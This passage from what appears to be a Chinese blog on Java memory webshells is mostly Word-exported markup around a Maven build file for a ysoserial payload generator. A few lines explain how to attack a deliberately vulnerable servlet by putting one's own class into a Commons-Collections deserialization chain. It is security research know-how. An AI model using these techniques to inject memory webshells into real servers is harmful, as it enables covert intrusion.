style="font-family:Cambria;">                          </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark: 内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;" lang="EN-US"><span style="mso-tab-count:1 Blank;">           </span><span style="mso-tab-count:1 Blank;">           </span><span style="mso-tab-count:1 Blank;">           </span><span style="mso-tab-count:1 Blank;">           </span>&lt;</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark: 内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;KeywordTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">artifactId</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark: 内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;">&gt;maven-compiler-plugin</span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark: 内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;KeywordTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">artifactId</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark: 内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;">&gt;</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark: 内存马;"><span style="font-family:Cambria;">                            </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark: 内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;" lang="EN-US"><span style="mso-tab-count:1 Blank;">           </span><span style="mso-tab-count:1 Blank;">           </span><span style="mso-tab-count:1 Blank;">           </span><span style="mso-tab-count:1 Blank;">           </span>&lt;</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark: 内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;KeywordTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">version</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark: 内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;">&gt;3.5.1</span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark: 内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;KeywordTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">version</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark: 内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;">&gt;</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark: 内存马;"><span style="font-family:Cambria;">                              </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark: 内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;" lang="EN-US"><span style="mso-tab-count:1 Blank;">           </span><span style="mso-tab-count:1 Blank;">           </span><span style="mso-tab-count:1 Blank;">           </span><span style="mso-tab-count:1 Blank;">           </span>&lt;</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark: 内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;KeywordTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">configuration</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark: 内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;">&gt;</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark: 内存马;"><span style="font-family:Cambria;">                              </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark: 内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;" lang="EN-US"><span style="mso-tab-count:1 Blank;">           </span><span style="mso-tab-count:1 Blank;">           </span><span style="mso-tab-count:1 Blank;">           </span><span style="mso-tab-count:1 Blank;">           </span><span style="mso-tab-count:1 Blank;">           </span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark: 内存马;"><span style="font-family:Cambria;">                              </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark: 内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;" lang="EN-US"><span style="mso-tab-count:1 Blank;">           </span><span style="mso-tab-count:1 Blank;">           </span><span style="mso-tab-count:1 Blank;">           </span><span style="mso-tab-count:1 Blank;">           </span><span style="mso-tab-count:1 Blank;">           </span>&lt;</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark: 内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;KeywordTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">source</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark: 内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;">&gt;1.8</span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark: 内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;KeywordTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">source</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark: 内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;">&gt;</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark: 内存马;"><span style="font-family:Cambria;">                                </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark: 内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;" lang="EN-US"><span style="mso-tab-count:1 Blank;">           </span><span style="mso-tab-count:1 Blank;">           </span><span style="mso-tab-count:1 Blank;">           </span><span style="mso-tab-count:1 Blank;">           </span><span style="mso-tab-count:1 Blank;">           </span>&lt;</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark: 内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;KeywordTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">target</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark: 内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;">&gt;1.8</span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark: 内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;KeywordTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">target</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark: 内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;">&gt;</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark: 内存马;"><span style="font-family:Cambria;">                                  </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark: 内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;" lang="EN-US"><span style="mso-tab-count:1 Blank;">           </span><span style="mso-tab-count:1 Blank;">           </span><span style="mso-tab-count:1 Blank;">           </span><span style="mso-tab-count:1 Blank;">           </span><span style="mso-tab-count:1 Blank;">           </span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark: 内存马;"><span style="font-family:Cambria;">                                  </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark: 内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">                    </span>&lt;</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark: 内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;KeywordTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">compilerArgument</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark: 内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;">&gt;-XDignore.symbol.file</span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark: 内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;KeywordTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">compilerArgument</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark: 内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;">&gt;</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark: 内存马;"><span style="font-family:Cambria;">                                    </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark: 内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">                    </span>&lt;</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark: 内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;KeywordTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">fork</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark: 内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;">&gt;true</span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark: 内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;KeywordTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">fork</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark: 内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;">&gt;</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark: 内存马;"><span style="font-family:Cambria;">                                      </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark: 内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">                </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark: 内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;KeywordTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">configuration</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark: 内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;">&gt;</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark: 内存马;"><span style="font-family:Cambria;">                                        </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark: 内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;" lang="EN-US"><span style="mso-tab-count:1 Blank;">           </span><span style="mso-tab-count:1 Blank;">           </span><span style="mso-tab-count:1 Blank;">           </span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark: 内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;ErrorTok&#39;;color: #FF0000;font-weight: bold;font-family: Consolas;">&lt;</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark: 内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;">/plugin&gt;</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark: 内存马;"><span style="font-family:Cambria;">                                        </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark: 内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;" lang="EN-US"><span style="mso-tab-count:1 Blank;">           </span><span style="mso-tab-count:1 Blank;">           </span><span style="mso-tab-count:1 Blank;">           </span>&lt;</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark: 内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;KeywordTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">plugin</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark: 内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;">&gt;</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark: 内存马;"><span style="font-family:Cambria;">                                        </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark: 内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;" lang="EN-US"><span style="mso-tab-count:1 Blank;">           </span><span style="mso-tab-count:1 Blank;">           </span><span style="mso-tab-count:1 Blank;">           </span><span style="mso-tab-count:1 Blank;">           </span>&lt;</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark: 内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;KeywordTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">artifactId</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark: 内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;">&gt;maven-assembly-plugin</span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark: 内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;KeywordTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">artifactId</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark: 内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;">&gt;</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark: 内存马;"><span style="font-family:Cambria;">                                          </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark: 内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;" lang="EN-US"><span style="mso-tab-count:1 Blank;">           </span><span style="mso-tab-count:1 Blank;">           </span><span style="mso-tab-count:1 Blank;">           </span><span style="mso-tab-count:1 Blank;">           </span>&lt;</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark: 内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;KeywordTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">configuration</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark: 内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;">&gt;</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark: 内存马;"><span style="font-family:Cambria;">                                          </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark: 内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;" lang="EN-US"><span style="mso-tab-count:1 Blank;">           </span><span style="mso-tab-count:1 Blank;">           </span><span style="mso-tab-count:1 Blank;">           </span><span style="mso-tab-count:1 Blank;">           </span><span style="mso-tab-count:1 Blank;">           </span>&lt;</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark: 内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;KeywordTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">finalName</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark: 内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;">&gt;${project.artifactId}-${project.version}-all</span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark: 内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;KeywordTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">finalName</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark: 内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;">&gt;</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark: 内存马;"><span style="font-family:Cambria;">                                            </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark: 内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;" lang="EN-US"><span style="mso-tab-count:1 Blank;">           </span><span style="mso-tab-count:1 Blank;">           </span><span style="mso-tab-count:1 Blank;">           </span><span style="mso-tab-count:1 Blank;">           </span><span style="mso-tab-count:1 Blank;">           </span>&lt;</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark: 内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;KeywordTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">appendAssemblyId</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark: 内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;">&gt;false</span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark: 内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;KeywordTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">appendAssemblyId</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark: 内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;">&gt;</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark: 内存马;"><span style="font-family:Cambria;">                                              </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark: 内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;" lang="EN-US"><span style="mso-tab-count:1 Blank;">           </span><span style="mso-tab-count:1 Blank;">           </span><span style="mso-tab-count:1 Blank;">           </span><span style="mso-tab-count:1 Blank;">           </span><span style="mso-tab-count:1 Blank;">           </span>&lt;</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark: 内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;KeywordTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">archive</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark: 内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;">&gt;</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark: 内存马;"><span style="font-family:Cambria;">                                              </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark: 内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;" lang="EN-US"><span style="mso-tab-count:1 Blank;">           </span><span style="mso-tab-count:1 Blank;">           </span><span style="mso-tab-count:1 Blank;">           </span><span style="mso-tab-count:1 Blank;">           </span><span style="mso-tab-count:1 Blank;">           </span><span style="mso-tab-count:1 Blank;">           </span>&lt;</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark: 内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;KeywordTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">manifest</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark: 内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;">&gt;</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark: 内存马;"><span style="font-family:Cambria;">                                              </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark: 内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;" lang="EN-US"><span style="mso-tab-count:1 Blank;">           </span><span style="mso-tab-count:1 Blank;">           </span><span style="mso-tab-count:1 Blank;">           </span><span style="mso-tab-count:1 Blank;">           </span><span style="mso-tab-count:1 Blank;">           </span><span style="mso-tab-count:1 Blank;">           </span><span style="mso-tab-count:1 Blank;">           </span>&lt;</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark: 内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;KeywordTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">mainClass</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark: 内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;">&gt;ysoserial.GeneratePayload</span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark: 内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;KeywordTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">mainClass</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark: 内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;">&gt;</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark: 内存马;"><span style="font-family:Cambria;">                                                </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark: 内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;" lang="EN-US"><span style="mso-tab-count:1 Blank;">           </span><span style="mso-tab-count:1 Blank;">           </span><span style="mso-tab-count:1 Blank;">           </span><span style="mso-tab-count:1 Blank;">           </span><span style="mso-tab-count:1 Blank;">           </span><span style="mso-tab-count:1 Blank;">           </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark: 内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;KeywordTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">manifest</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark: 内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;">&gt;</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark: 内存马;"><span style="font-family:Cambria;">                                                  </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark: 内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;" lang="EN-US"><span style="mso-tab-count:1 Blank;">           </span><span style="mso-tab-count:1 Blank;">           </span><span style="mso-tab-count:1 Blank;">           </span><span style="mso-tab-count:1 Blank;">           </span><span style="mso-tab-count:1 Blank;">           </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark: 内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;KeywordTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">archive</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark: 内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;">&gt;</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark: 内存马;"><span style="font-family:Cambria;">                                                    </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark: 内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;" lang="EN-US"><span style="mso-tab-count:1 Blank;">           </span><span style="mso-tab-count:1 Blank;">           </span><span style="mso-tab-count:1 Blank;">           </span><span style="mso-tab-count:1 Blank;">           </span><span style="mso-tab-count:1 Blank;">           </span>&lt;</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark: 内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;KeywordTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">descriptors</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark: 内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;">&gt;</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark: 内存马;"><span style="font-family:Cambria;">                                                    </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark: 内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;" lang="EN-US"><span style="mso-tab-count:1 Blank;">           </span><span style="mso-tab-count:1 Blank;">           </span><span style="mso-tab-count:1 Blank;">           </span><span style="mso-tab-count:1 Blank;">           </span><span style="mso-tab-count:1 Blank;">           </span> <span style="mso-tab-count:1 Blank;">           </span>&lt;</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark: 内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;KeywordTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">descriptor</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark: 内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;">&gt;assembly.xml</span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark: 内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;KeywordTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">descriptor</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark: 内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;">&gt;</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark: 内存马;"><span style="font-family:Cambria;">                                                      </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark: 内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">                    </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark: 内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;KeywordTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">descriptors</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark: 内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;">&gt;</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark: 内存马;"><span style="font-family:Cambria;">                                                        </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark: 内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">                </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark: 内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;KeywordTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">configuration</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark: 内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;">&gt;</span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></p><p style=""><span style="mso-bookmark:内存马;"><span style="mso-bookmark: 内存马;"><span style="font-family:Cambria;">天下大木头给的代码不能直接利用，要写一个有反序列化漏洞的servlet，然后用上面两个项目的代码生成payload去打</span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:内存马;"><span style="mso-bookmark: 内存马;"><span style="font-family:Cambria;">也就是在打cc链的时候把里面的恶意class改成我们的class，一般喜欢用cc11打</span></span></span></p><p style="mso-style-name: &#39;Source Code&#39;;margin-top: 0.0pt;margin-bottom: 10.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;word-break: break-all;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:内存马;"><span style="mso-bookmark: 内存马;"><span style="">单纯偷懒不想搞环境可以直接用jsp注入去调试看</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark: 内存马;"><span style="font-family:Cambria;">              

              </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark: 内存马;"><span style=""><a href="https://mp.weixin.qq.com/s/USIn50RITRF87AigssRyaA" target="_blank">https://mp.weixin.qq.com/s/USIn50RITRF87AigssRyaA</a></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark: 内存马;"><span style="font-family:Cambria;">              

              </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark: 内存马;"><span style="">（servlet、listener、filter）</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark: 内存马;"><span style="font-family:Cambria;">              

